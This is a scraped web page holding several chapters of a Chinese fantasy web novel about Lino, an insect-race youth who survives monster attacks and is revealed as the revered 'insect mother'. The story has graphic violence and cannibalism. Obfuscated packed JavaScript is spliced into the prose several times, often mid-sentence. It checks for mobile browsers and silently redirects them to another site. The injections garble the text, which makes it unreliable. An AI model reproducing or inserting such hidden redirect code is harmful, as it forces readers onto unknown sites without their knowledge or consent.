因为他很快就发现迷雾之门并且进入，利诺的意识海尚没有被迷雾侵蚀，很健康，就连中央的奇怪树苗都长高了不少，结的果子都更健康啦！ 等等！ 在意识海内，利诺伸出精神触角，逐个检查树上悬挂的十一颗果实。 果实稍微摆脱了之前即将枯萎的虚弱，有了些活力，在利诺的触角摸上的时候，还会摇晃下作出回应。 果实居然是活的……利诺还以为这是他的金手指，吃下一颗果子就能变强。 利诺伸出十一条触角，搂住所有的果实，深思，那等果实成熟，他是不是不能吃了。 利诺的心思通过触角准确传达给了所有的果实，果实们委屈，它们现在只有亲近的本能，但又因为利诺的想法而委屈。 这种委屈的情绪也同样传递给了利诺的意识中。 利诺：…… 他温柔摸摸这些奇怪的果实，哄道：“哎哎哎，我不吃你们就是了。” 单纯好哄的果实立马又亲热摩挲着利诺的精神触角。 和果实亲近了好一会儿，利诺收回触角，从意识海里脱离。 利诺冷酷无情地想，好好长吧小果实！要是真能增强他的实力，就算是活的，他也会烤了吃的！ 实力的强大是在这个世界畅通无阻的门票，软弱和仁慈没有任何用处！ 毛虫的前肢哒哒哒地点着树枝，清蒸、红烧又或者爆炒也可以…… 利诺回想上辈子看到的菜谱，嘴巴里口水分泌。 然而这时，枯死的树干再也禁不起一只小虫子的重量，清脆断裂。 还在想着美味的小毛虫来不及反应，树干折断，它骤然从十来米的树尖上掉落。 小虫族由于无法彻底化茧成蛾，没有长出翅膀，就这么直接掉下去。 好在他的虫体肥嘟嘟的，地面又是松软的泥土。 灰虫落在地面上，甚至弹飞又跌落，跌落又弹飞，缓解了下坠的冲击。 利诺狼狈变回人形，猛地咳嗽几声，该死，他差点被摔死！ 这种丢虫脸的事情必须忘记，也不能被任何活着的生物知道！ 利诺左右张望，确认没有活口，他才离开。 枯树折断闹出的动静不小，肯定会引来迷雾门内怪物的注意，此地不宜久留。 利诺选定方向，轻巧穿梭在林间，等他走后没多久，就有一队黑皮怪跑了过来。 这些怪物比利诺之前遇到的要更壮实，实力也更强。 其中几只肩膀上扛着几具尸体，是利诺杀死的那些怪物。 “队长，杀死我们同类的东西已经跑远了。”背上有两对翅膀的怪物是队伍里的副队长，他对前面三对翅膀的怪物道。 怪物队长撩起苍白的发丝，五官端正却掺杂着满满的戾气，他闭起血丝遍布的眼睛，腥臭的气息伴随着污浊的黑雾在他的手中出现。 黑雾消散。 队长睁开非人的眼睛，里面的血丝更加密集，仿佛下一秒就要失去理智。 两对翅膀的怪物见状立马让其他怪物把同类的尸体扔过来，队长本能地分食那些无头怪物。 咯吱咯吱的声音越来越小，等吃下所有的尸体，队长眼中的血丝少了点。 他指出利诺离开的方向：“这里，那东西去了这个方向。” “必须要抓住他！他是……重要的食物，这是白主的要求。” 另一边，利诺不知道怪物已经盯上了他，但是不详的预感升起，他的预感一向很准，因此他又加快了前进的速度。 利诺始终没有碰到同族，其实这很正常，一团迷雾的迷雾之门并非一扇，而是分为实门和不定数的虚门。 实门是静止不动的，但是虚门却会随机出现和消失在迷雾中，不同的门虽然通向同一个门内世界，但落脚点会不一样。 利诺顶多是运气不好，没有几只虫族和他进入的门是一样的。 期间利诺一直在寻找可以隐蔽身形的位置，他在行走一半的时候，就听到了身后的脚步，也意识到有东西在追逐他。 那些怪物的实力比之前他杀死的怪物强多了，利诺的战斗本能向他传达出这一信息。 然而利诺走出枯树林的边缘，落入眼前的是大片地皮干燥、土壤沙化的荒地。 简直藏无可藏。 第一次进入迷雾之门的利诺感受到了来自迷雾的恶意。 没有翅膀的低级虫族缺乏飞行的优势，那么进入危险的地方时，就应该尽量寻找隐蔽场所潜伏，否则会一脚踏进危险中。 这是利诺刚上幼校时老师教导的内容。 那些怪物的速度不低，利诺捕捉到的脚步声越来越大。 利诺这辈子没经历过危及生命的时刻，但上辈子经历得多了去了。 他不惊慌，反而越发冷静，在计算得出自己即使以最快的速度逃跑，也会被追赶上时，他索性利用最短的时间，制造简易的陷阱。 大不了就是鱼死网破，利诺从腿上的绑带掏出尖锐的短匕首，砍在枯树干上。 …… “停！”怪物队长举起手掌，可怖的血丝逐渐蔓延，他环视四周，“就是这里。” “队长，这里……我没有感知到有生命迹象？”有只怪物低声问。 “你在质疑我？”怪物队长淡淡瞥了眼怪物。 仅有一对白羽的怪物连忙摇头：“当然不是，我只是……” 怪物还要解释，队长则急躁地伸出手臂，抓住了他的脖子，用力。 类人的颈椎骨被折断，怪物无声地睁大恐惧的眼睛，而拥有三对白羽的怪物则低头，急切地咬住同伴的喉咙，将温热的血液吞入口中。 化成灰色毛虫、贴在一截树干的利诺见状泛起恶心，他知道这些怪物会彼此吞食，但见到时还是觉得不适。 不过利诺在上辈子的时候也听说过，在末世刚开始的时候人类也出现过这种情况，但是他出生时人类早就在末世建立了稳定的秩序和基地。 这是个好机会。 趁着最强大的怪物在进食，利诺撬动了临时的简易陷阱。 眨眼间，拴在绳子上的小石块从枯树枝上坠落，准确砸到怪物的脑门上。 造不成伤害，但是足以让黑色怪物自乱阵脚。 “怎么回事？”“偷袭！”“滚出来……”原本整齐的队伍被打乱，身形瘦弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940049|177316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的利诺潜入其中。 副队长也被砸到，但他需要守在进食的队长身边，避免被偷袭，冷厉喝道：“冷静，只是一些碎石块！” 他还在观察队长的状态，无暇顾及，队长最近的状态不好，只有进食可以稍微缓解。 在杂乱的声音越来越小时，副队长发觉不对，抬头，一把斧头砍了过来，他连忙抵挡。 斧头切断怪物的手掌，卡在怪物坚硬的胸膛上，利诺眯起眼。 莫非怪物身后翅膀的数量代表的是实力的高低，这只有两对翅膀的怪物身体硬度比那些只有一对翅膀的强了不是一点半点。 副队发出疼痛的惨叫，回击的速度却是一点都不慢，长刀刺入利诺所在的方向。 利诺灵巧避开，但刀尖刺破皮，渗出鲜红的血液。 虫族血液的味道迅速扩散，美味至极，副队的眼神迷离，而正在进食的怪物队长扔掉还剩半截的尸体，将贪婪的视线放在利诺的身上。 “咕……香……肉……”血丝覆盖了队长的眼眶，侵吞掉最后一丝理智。 利诺的血肉，对怪物的诱惑格外强烈。 抹掉腹部伤口上的血，利诺抿唇，率先将怔神的双翼怪物砍掉脑袋。 这时，怪物队长扑过来，还算端正的五官扭曲，只余疯狂和贪念。 利诺尽力躲开，斧头反击，但无往不利的武器这次只能对这只怪物造成一些皮肉伤。 好强，这才是迷雾之门内怪物的真正实力，他之前遇到的，不过是小虾米。 怪物的速度很快，利诺闪躲几合就被他抓住漏洞，粗糙的手掌掐住瘦小虫族的腰，力道之大，仿佛要捏断。 同时，怪物尖锐乌黑的指甲嵌进了柔嫩的皮肉中，鲜血涌出。 怪物的力气也很大，利诺根本挣脱不开，他疼得脸颊苍白、牙齿割破口腔，血液将本就殷红的嘴唇衬得越发鲜艳。 怪物很是兴奋，他张开大嘴，就要咬在利诺的脖颈处时，利诺尽力将匕首投掷出去。 匕首割断了什么，随即最后一个较大的石块掉落，怪物下意识地后退，脚下一空。 他掉进了利诺挖出的洞内，洞不深，但也让怪物没稳住身形，松开了钳制利诺的力气。 好机会！ 利诺抽出另外一条大腿上绑着的匕首，忍着四周的疼痛，刺进怪物的胸膛。 虫族的科技不算低，武器的科技含量也不少，一下两下无法造成太重的伤害，但不要命地对准胸口的一个地方狂刺，总会杀死怪物吧？ 利诺忘记了疼痛，只有极致的疯狂和求生的本能，他反复刺拔匕首，手臂酸痛也不停止。 不知道过了多久，利诺喘着粗气，将匕首再一次刺进怪物的胸膛，却再也得不到任何回应。 他低头，那怪物死得不能再死，胸口被他剁成了肉泥。 利诺靠在洞壁上，衣服破碎脏乱，自己的血液和怪物的血液混杂在一起，分不清谁是谁。 他低低地笑出声：“去死吧！” 但是利诺太累了，他受到的伤不轻，腰腹几个大洞汩汩冒血，生命迹象降至最低点。 他强撑不下去了，眼皮重若千斤，急切需要休息来缓解麻木和疲倦。 意识海因为主人的虚弱开始晃动，利诺似乎听到了树上果实悲伤又急切地呼唤。 利诺努力感应，果实不安地摇晃，通过岌岌可危的意识海重复两个字：“妈妈……” 果然要死了，都出现幻觉了，一堆果子喊他妈妈…… “吼……吼……” 在利诺即将昏迷前，沉重的、庞大的身影出现，触须避开利诺的伤口，将其轻柔抱起来。 利诺内心万分惊骇，眼前的怪物有着没有神志的硕大复眼、尖锐恐怖的卷曲口器、坚硬的外壳……是虫族中防御力最强的戟虫。 只是，这只虫子已经退化成了虫兽。 9. 第九章 在虫族的意识海陷入百分百紊乱状态时，这只虫族就会被判定成虫兽。 虫兽没有理智，只会破坏和杀戮，对于其他虫族也是危险的存在。 因此虫族一旦退化成虫兽就会被处死，即便不杀死，而是将其控制起来，也会随着意识海的崩塌而最终死亡。 这是大多数虫族的命运，没有任何有效的治疗方法。 在被这只虫兽从半人深的坑内抱起来时，利诺察觉到这是一只高级虫族退化的虫兽。 他们的学校内不存在高级虫族的老师和学生，这意味着眼前的虫兽并非是这次迷雾入侵时进入的门。 硬硬的牌子硌着利诺的胳膊，他瞥到虫族的胸口挂着一枚金属制的牌子，是军部虫族才会有的标识。 在迷雾不知以何种方法侵袭英玛星前，就有军部的虫族进入这里，但他们没有成功关闭迷雾之门，而眼前的虫兽也因为意识海出了问题，不得不留在这里。 即使受伤严重，甚至被不受控的凶残虫兽束缚，利诺还是很快推测出大概的情况。 被血液和汗水染湿的睫毛打成缕，随着利诺的眨眼而虚弱地颤抖。 利诺要死了，他的全身都很疼，不止怪物造成的伤口和血洞，他的肩胛骨似乎知道主人命不久矣，连忙出来作妖，要命的疼。 就连因为吃了洛尔南的废液而稍微缓解的饥饿也再次出现。 甚至，这次的疼痛和饥饿比以往更加强烈，难受得利诺想要缩成小小的虫团。 他这次要么是受伤太重加上异常的状态而死亡，要么会先被躁狂的虫兽撕碎。 要问利诺想要选择哪种死法，他选择前者，至少能留个全尸，相对体面地走。 利诺的嗓子干涩发闷，他调动全部的力气，试图跟没有理智的虫兽商量：“兄弟，给我留个全尸，别撕我行不？” 利诺只说了这一句话，就开始急促地喘息，如果有医疗机械检测，就会发现他的生命迹象大幅度下降，再不进行救治，必死无疑。 “吼——”虫兽垂头，低吼。 听不懂虫兽吼声的意思，利诺当做虫兽同意了。 他的眼皮越发沉重，在彻底闭上前，他感知到自己的下巴被抬起，恐怖的虫脸贴上他的额头。 虫兽想用过于粗糙和凹凸不平的脸将他摩擦死吗？利诺想到这里时，冰冷但滑腻的东西抵住了他的唇。 利诺后知后觉，在口腔被打开，深入喉管时，才意识到那是什么。 身形庞大魁梧的虫兽，伸直弯曲蜷缩的口器，尖端轻松没入已经出气多进气少的少年口中。 可怖的口器相较于虫兽而言不算太粗，但也不细，它以缓慢又温柔的动作，推开利诺紧闭的牙齿，压着红润润的舌，通过咽喉，伸进食道内。 蜷缩起来的口器比利诺想象中要长得多，一直抵达利诺的胃囊。 利诺惊骇地睁大了眼睛，被虫兽这举动弄得硬是生命值回来了点。 虫兽在做什么？他怎么能干出这么过分的事情？把口器……硬生生……到了胃部…… 尽管这辈子不是人了，利诺也没见过有虫会把口器伸进其他虫子的口中。 “唔！”利诺因为这举动而反射性地干呕。 虫兽的前肢轻拍他的后背，似乎是在安抚。 紧接着，温热的液体从虫兽的口器内传输出来，直达利诺的胃部。 利诺一脸菜色，绝望地想，虫兽直接撕烂他，都好比此时的举止。 虫兽的口器没有待在利诺的省内很久，在将液体输送完毕就抽了回来，重新卷曲起来。 “你特么的……”利诺骂出了声，把上辈子学到的脏话一股脑倾斜给脑子有病的虫兽。 骂到一半，利诺止住，他不敢置信地晃动手臂。 吃掉虫兽送来的液体，他不仅有劲骂虫兽了，也有劲动了？ 咦，他活了？ 利诺没有完全恢复，但明显得知自己不用死了。 他茫然眨巴眨巴眼，又看着眼神依旧混沌的虫兽。 毫无疑问，是虫兽救了他。 利诺是个知错就改、善于道谢的好毛虫，他立马甜甜地道：“谢谢你。” “咕噜咕噜……”虫兽仰头，似乎在回应利诺的话语。 他依旧没有放下利诺，而是在利诺得到好转后，带着他离开，虫肢漠然地擦过地上躺着的尸体。 “你要带我去哪里呀？”利诺不惧怕可能发狂的虫兽，而是亲热揽住虫兽的臂膀，询问。 虫兽丧失了语言能力，却在面对利诺的询问，会用吼叫来回应。 利诺不介意听不听得懂，心安理得地躺在虫兽的怀里，说话的同时观察虫族的外形。 虫兽输送的液体有着明显的疗愈能力，随着时间的消逝，利诺能够发现自己在痊愈，不止内里，还有外里伤口已然止血结痂。 利诺知道戟虫堪称变态般的防御力，却不知道戟虫原来也会治疗，治疗的效果还这么好！ 高级虫兽的速度很快，在利诺思索间停下。 利诺望过去，是由石块构筑的虫巢，虫兽走进去，将他放在中央干草和毛毯堆积的简易床榻上。 就算退化成虫兽，这只曾经的高级虫族也将虫巢打理得干干净净、没有异味，浑身血污的利诺皱起眉，觉得自己有必要洗干净再来。 虫兽没有给利诺这个机会，他跪下，虫翅张开，积蓄许久的黄金液体从翅根分泌，随着纹路流进凹槽。 属于食物的香甜气味传入利诺的口鼻，刺激得他口水分泌，饥饿也在促使他快吃。 虫兽摆出了臣服的姿态，垂下硕大的头颅，往利诺这边再度靠近几分。 翅膀上的黄金液体潺潺流动，多到要溢出来。 “妈妈……吃……”可能是利诺没有立马扑上来，以至于虫兽居然吐出零碎的通用词语，生疏干巴，夹杂虫类嘶吼和嗡嗡的杂音。 虫兽急迫地挤着翅膀，让翅根可以分泌出更多的、属于妈妈的食物。 妈妈很饿，这是虫兽此时唯一知道的事情，而他的任务和职责就是喂饱饥饿的妈妈。 利诺没有思考太多，他嗷呜一口，叼着虫兽的翅膀，如饿狼般进食。 虫兽不会定期打理翅根，这意味着虫兽在体内储存了相当多的蜜水，比洛尔南的要多得多。 在洛尔南那里没有吃饱的利诺这次得到了充足的食物。 他此时满脑子都是吃饱，饿了太久的小毛虫被食物攫取了全部心神。 他喝光一边翅膀的蜜水，就扒拉着另外一边的翅膀喝。 喝完这边的，另外一边的翅膀再次被分泌出满满的食物。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940050|177316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >看起来冷漠无情的虫兽则温顺地进食的少年搂入怀内，轻柔滑着利诺的后背，防止他吃得太急而呛到。 翅根的蜜水一刻不停地分泌，虫兽的复眼痴迷又缱绻，抱着利诺的力气也越来越大，几乎要将利诺与自己合为一体。 可利诺只要不舒服地推一下虫兽的外壳，虫兽就会略微松开肢体的力气，分泌出更多的蜜水满足饥饿的少年。 利诺不知疲倦，不知满足，将虫兽翅膀上分泌的液体吃得干干净净。 不知道过了多久，吞咽的声响渐低，利诺咽下最后一滴金色的汁液。 他终于吃饱了，此时的虫兽也再分泌不出来喂食利诺的液体。 利诺的小腹鼓起，满满当当的全是食物，他满足地躺在干燥的毯子上，小小地打了个嗝。 不仅是身体的满足，还有灵魂的充实，前所未有的舒适让利诺闭上眼，坠入美妙的梦乡。 充足的食物促使利诺的身体最终成熟，在利诺沉睡后，细长的白丝在他的体表生长。 虫兽笨拙地用前肢抚顺利诺的发丝，在旁边等待，并凝望那些白丝越来越多，直至全部覆盖。 纯白的茧子安静地躺在毛毯上，虫兽歪头盯了许久，又将更多松软的干草堆积在白茧的周围。 …… “啪！” 希尔维乌斯一巴掌甩在自己脸上，利爪留下深深的三道血痕，侧脸瞬间青紫鼓胀：“我的错，我不该把他留在英玛星，不等军部的近卫队来就离开。” 浓实压抑的黑雾将整座高级军区覆盖，它出现的毫无原因，绕过周围军部的监视，直接入侵校区。 无尽的谴责和悔意击垮了这位虫族未来的一军军长。 希尔维乌斯太自大了，强悍的实力让他目空一切，对自己的决策有莫大的自信，却不曾想，他的自信让利诺置于危险中。 拉斐尔的状态不好，脸色苍白，捂着被绷带缠绕的胸口，眼镜裂成碎片洒落在地上，神情同样痛苦自责：“我也有错，我居然没有算出迷雾会在英玛星出现……” 在蓝星军部发来消息说英玛星周围的迷雾异常，要他和希尔维乌斯一起率队将周围的迷雾驱散时，他同样分析了数据，并确认了信息的属实。 在发觉利诺很有可能就是虫母后，拉斐尔更加着急驱散英玛星周围的迷雾，避免迷雾可能对利诺造成伤害。 拉斐尔没想到也没计算出，这次迷雾的异动不仅在英玛星四周，还有英玛星。 负责检查的医疗虫兵看向失态两个军部大佬，说道：“近卫队已经进入迷雾，一定能够成功驱散迷雾。” 希尔维乌斯从病床上坐起来：“我要进入迷雾，等找到利诺，我再认罚。” “不可，阁下，您刚和拉斐尔阁下在很短的时间内关闭了四扇迷雾之门，意识海存在极高的紊乱可能性。”虫族硬着头皮，在发觉拉斐尔同样要从病床上站起来，惊叫，“拉斐尔阁下，您胸腔内只留下了半边心脏，需要时间长好……” “瞎折腾什么？”一身墨色军装的男人大步迈进来，表情厌烦，“都给老子老实躺着！” “区区一只低级虫族，不过可能是虫母，就让你们这么失态？虫母存不存在都不一定！”男人叼着烟，怒斥，“一群没出息的玩意！就算是虫母怎么了？虫母死在迷雾那也是他没本事！” 10. 第十章 “伊戈提安阁下，请慎言。”拉斐尔冷了神色，浅淡温润的虫瞳覆盖上一层冰冷。 黑色军装的高级虫族同时有副上乘的长相和最差的脾气，他冷嗤：“一群废物，元帅让我来看看你们的情况，这哪里需要看，心脏被怪物掏了一半还有力气跟我呛。” 他的双翅恶劣地震动，彰显明晃晃的挑衅：“行了，你们就在这好好休息，我去门内会会你们心心念念的小虫子。” 不等回答，傲慢的高等虫族抬脚临时驻扎点，屋内留下他的最后一句话：“看在同族的份上，我尽量不打死那只狗屁莫须有的虫母！” 希尔维乌斯皱起眉，冷眼：“伊戈提安是个混蛋。” 伊戈提安是个彻头彻尾的混蛋、烂虫、坏批，蓝星军部的所有高级虫族都知道。 拉斐尔关闭腕表的录音功能，将录下的内容播放，伊戈提安嚣张的声音清晰明了：“呵……小虫子……莫须有的虫母……” 录音保存，上存云端，拉斐尔若无其事地收起腕表：“他会付出代价的。” 没有一只虫子会不被虫母吸引，虫母的味道、话语……哪怕是一个眼神，都足以让最高傲的虫族放下强者的尊严，卑微讨好。 拉斐尔显然松了一口气：“有伊戈提安的加入，利诺会很安全。” 伊戈提安混蛋归混蛋，但他是一只荒漠追寻蚁，除了强悍的战斗力，也精通追踪气味、捕捉图像，哪怕他没有见过利诺本人，却也能够通过图片进行搜寻，要不然他也不会成为二军现任军长了。 而且伊戈提安在虫母这种事上市始终保持中立，并没有参与最高军部内部的争执和对立。 希尔维乌斯是寡言少语的性格，只是微微点头，就闭眼抓紧时间稳固产生松动的意识海，期望能够最快达到再次进入迷雾之门的要求。 他只相信本阵营的虫族，哪怕伊戈提安明确表示懒得掺和这种麻烦，他也不放心。 “行吧……确实要抓紧时间争宠……”拉斐尔翻了个白眼，摸摸胸口上的疤痕，在不久前关闭最后一扇门时，他被看守钥匙的怪物偷袭撕碎了一半心脏。 意识海恢复的时间短，但是丢失一半的心脏恢复起来需要的时间就比较长了，在这方面他是争不过其他虫子的。 藏书众多的拉斐尔开始回想看过的书籍，他记得，有本迷雾之前的古籍有保留下来，叫什么来着……对了，叫“如何读懂母亲——子女必读书籍”。 拉斐尔嘴角挂上自信的笑容，在腕表扫描的数据库中找出了那本书，细细钻研。 在缺乏感情和常识的虫族内，就算是博览群书的衣鱼，也难免会在虫母的事情上陷入误区。 然而拉斐尔丝毫不知，已经求知若渴地读起这本宝贵的书籍。 书籍序言第一句：妈妈，是这个世界上最伟大、最温暖的称呼。 “妈妈……妈妈……” “妈妈妈妈妈妈妈……” 沉睡蜕变的利诺被意识海的声音吵得不行，他不得不分了一部分意识进入意识海内。 在利诺吃饱后，那些果子也分到了不少的营养，此时更加圆润饱满，体积更是增大不少。 它们活泼地左右摇晃，对着哺育自己的妈妈抒发无与伦比的深爱和仰慕。 发觉利诺的意识来了后，果子们晃动得越发激烈，一口一个妈妈，喊得利诺脑仁疼。 他冷声制止：“停，不许喊我妈妈。” 他是个没有性别的雄虫，但上辈子是个纯纯正正的大老爷们，被一群没有无官的乳白果子喊妈妈，总会下意识地恶寒。 果子们疑惑：“可是，妈妈就是妈妈。” 他们的母亲，他们的妈妈，也是它们要守护的至爱！ “总之不许喊。”利诺扫射冷眼。 果子们不动了，半晌，有颗胆子最大的果子小心询问：“那妈妈，我们要怎么喊您？” 利诺想了想：“喊我主人！”毕竟这些果子都是从他意识海的树上长出来的，那就是他的所属物，喊他主人理所应当。 “主人妈妈，主人妈妈……”果子们顿时天真烂漫地喊起来，不知道是装傻还是真傻，依旧喊妈妈，顶多加了“主人”二字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940051|177316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “主人妈妈……您要成熟了，我们也要成熟啦！”一颗最大的白果子羞羞答答，“您喜欢什么样的我呀……” 还打着成熟就吃掉果实的利诺不假思索：“乖的，安静的，听话的。”最好不哭不闹，让他吃掉就能变成最强的虫！ “哦哦哦哦……主人妈妈……我就是那样的……” “我也是我也是！” “我最乖！我最听话！我最安静！” 十颗果子顿时叽叽喳喳，寂静的意识海热闹起来。 但是最小的白果子却细声细气：“妈妈，您快休息吧，我们会照顾我们自己的。” 利诺满意地瞥了眼最小的白果，小样，就他最懂事。 他奖励地摸了摸小白果：“不错。” 白色的果子顿时变成了熟透的红，外表滚烫，它害羞地用两片叶子遮住外表。 在其他白果反应过来前，利诺将食指抵在嘴唇上：“我喜欢安静的……果子。” 其他叽喳和妈妈吵闹的果子立马闭嘴，如同真正的果实，悬挂于小树枝头。 它们渴望被妈妈抚摸，也嫉妒被妈妈抚摸的白果它们暗暗较劲，争取让自己成为第二颗被妈妈抚摸的胜利者。 利诺的意识满意回归本体，沉睡和蜕变持续。 在茧子内，少年漂亮的身躯变回小小的、毫不起眼的灰色毛毛虫。 一动不动的毛虫随着时间的流逝融化成液体，又随着时间的发展而凝聚成全然崭新的躯体。 虫的蜕变艰难辛苦，并非一夕一朝就可以完成。 虫巢内的虫茧时不时动一下，而庞大的虫兽始终保护在周围，用温柔深情的目光注视那看起来同样漂亮的茧。 直到恶心的气味进入虫巢，虫兽浑浑噩噩的复眼猩红。 “咯咯……吼……”虫兽愤怒嘶吼，在小心试探的黑皮怪物进入他认定的领地范围时，尖锐的虫肢刺穿两只怪物，钉在尖锐的巨石上。 “死……”虫兽含糊不清地低语。 一切敢打扰妈妈、伤害妈妈的事物都必须消失！ 11. 第十一章 被刺穿要害的怪物连惨叫都没有发出来，以恐惧惊骇的神情死去。 血珠从冰冷坚硬的虫钳上滑落，在所有怪物都没反应过来的时候，虫兽又一击杀死好几只怪物。 从高级虫族退化的虫兽速度并不会降低，强大带来的恐怖席卷大部分怪物的脑子。 除了一小部分并不瘦弱的怪物，其他的怪物不过是城中的乌合之众，欺软怕硬，敢踏进虫兽的领地只是因为利益。 有只怪物惊惧地大叫：“怪物！怪物！” 在这些黑皮怪看来，不属于这个世界的虫兽才是最大的怪物。 身后穿着相对规整、肌肉鼓胀的黑皮怪一面鄙夷这些同类，一面又不得不利用他们：“不要怕，怪物只有一只，只要杀了他，找到白主要的东西，就能得到白主的赐福和享不尽的财富权势！” 说话间，又有十来只怪物死在虫兽兽手中。 “我不干了！给我再多钱我也不干了！我们怎么可能会杀死他？！”满身都是同伴腥臭血液的怪物崩溃大喊，并且扭头往外围跑。 然而他刚跑出没几步，一根长矛状的武器刺破他的头，鲜血洋洋洒洒。 杀死他的白主仆从高举金色长矛：“白主有令，杀死怪物，违者死！” 那些被奖励引诱而来的怪物这才明白，他们不过是来送死、使怪物分心的耗材，他们无论前进还是后退，都只有一条死路。 虫兽的作战能力强悍，可仅有一只，面对密密麻麻、仿佛倾城而出的怪物，也不能一直抵挡。 外壳血迹斑斑，虫兽的复眼越来越猩红，发出震怒的嘶吼。 在虫兽分身乏术之际，几只黑皮怪越过了他的防线，朝放着白茧的巢穴深入。 “白主要的宝物就在里面！”怪物们相互配合，即将推开虫兽放在门口遮挡的巨石。 “吼！”虫兽感知到，惊慌哀鸣，他想大步迈过来将这些觊觎妈妈的东西弄死，但身后源源不断的怪物挡住他的步伐。 石块颤动，就在怪物们咬牙使劲，合力推开石块时，一只黄色的蜂类虫族降落，淡金色的羽翼如锋利的刀刃，眨眼间割断了这几只怪物的手臂。 怪物捂着断臂，躺在地上惨叫。 洛尔南踩碎了一只怪物的头，又将剩下的怪物解决，他细细嗅闻，利诺的味道就从这个最原始的虫巢内泄漏。 利诺的味道，似乎更好闻了，洛尔南的翅根发痒，他的脑子里只剩下利诺。 利诺危险，要保护利诺，不，他不配直呼“祂”的名字，他是最卑微的存在，供 “祂”玩弄。 “祂”是利诺，是至高无上的母亲，是所有虫族的生命和灵魂寄居之地。 还好，利诺现在很安全，洛尔南没有推开巨石用肉眼确认利诺的安危，他扫视周围的怪物，又着重看了眼那只虫兽。 现在利诺在里面才是最安全的，怪物太多了，他们需要时间解决。 在洛尔南做好判断后，和他一起的另外十来只虫族也振翅赶到。 他们都是军校的学生，有高年级的老生，也有刚入学的新生，此时将实力最强的洛尔南当做小队队长，暂时听从他的命令。 他们落地的第一时间，全都痴痴地望向利诺所在的小屋中，咔咔的声音经过声带的摩擦产生奇异的音调。 他们不知道里面的是谁，但正在蜕变的虫母已经开始影响他们。 根植在虫族血脉和基因深处的本能被唤醒、被激发，他们想朝着小屋叩拜，虔诚又卑微地祈祷可以得到“祂”的目光。 “祂”的气味通过空气，传递到在场所有虫族的神经内，越发浓郁。 于是虫子们都接受到了利诺无意识散发的消息。 令虫子迷恋臣服的香气扩散，利诺在传达命令——保护。 是的，保护“祂”，保护他们最爱的、最崇高的妈妈！ 虫子彼此间不需要交流，回归本体的复眼冰冷又狂热的扫视那些黑色皮肤的肮脏怪物。 杀了他们，杀了他们，胆敢伤害妈妈的都必须要死！ 奉上他们的忠诚和生命，为妈妈扫清一切障碍和危险，用敌人的鲜血愉悦妈妈！ “这些该死虫子是从哪里来的？”负责这次任务的黑皮怪是白主最信任的仆从梅克，裹着圣洁的白布，握着白主赐给他的圣矛，脸色阴郁。 本以为万无一失，却没想到又来了几只类似虫子的怪物。 这些新来的虫子明显有清晰的理智，尽管战术不如虫兽老练，但他们数量多，梅克带来的黑皮怪已经死了一半，里面甚至还有他精心培养的下属。 梅克很愤怒，他握住圣矛，对着身边所有的下属命令：“全部上，无论如何，我们必须要带回白主的宝物！” 这些下属比从城市里带来的那些怪物听话得多，梅克话语一出，他们的羽翼微微张开，笨重的羽翼不能直接飞翔，却可以借风力从高处滑翔。 他们落下，加入血腥的战场，将长矛对向虫族。 梅克凝望利诺所在的地点，圣矛滑动，他决定要亲自取走白主口中的宝物！ 这时，凉意蔓延后背，梅克及时闪避，他又是愤怒又是后怕地扭头直视偷袭者。 “啧，没成功。”黑色军装的俊美男人晃动尾钩，有些遗憾。 他的身边还跟着十来只虫族，是早早进入迷雾之门、却始终没有找到利诺的近卫。 和伊戈提安并列在一起的是安瑟姆，他是被从拥护虫母的派系千挑万选出来的高级虫族，担任近卫队队长，他不仅负责保护虫母，也是让虫母“使用”的雄虫之一。 安瑟姆的眼神死死盯着那座简陋的虫巢，平淡空洞的竖瞳沾染上狂热的光彩。 在伊戈提安和梅克对阵时，安瑟姆扑通一声，跪在地上，无视周遭环境，双手交叉，俯首：“妈妈，不……冕下，请原谅您卑微又无用的仆从与子嗣来迟，不能及时保护您……” 被选进近卫队的，都是虫母的忠实拥趸者，剩下的十几名近卫队成员也纷纷效仿队长安瑟姆的举止。 伊戈提安皱眉：“你们是有什么大病吗？”什么情况了还在这装…… 他这样说，但发热的翅膀根并不配合，天知道伊戈提安在闻到那股与众不同的气味时有多兴奋！ 要不是还有门内怪物，他怕是也会如此……不，伊戈提安猛摇头，他才不会像安瑟姆这么没骨气……可是妈妈的味道好香，妈妈醒了会很饿吧……他得抓紧时间处理怪物，然后给妈妈喂食…… 伊戈提安头脑风暴、思维发散，他现在最庆幸的估计就是当初没去割掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 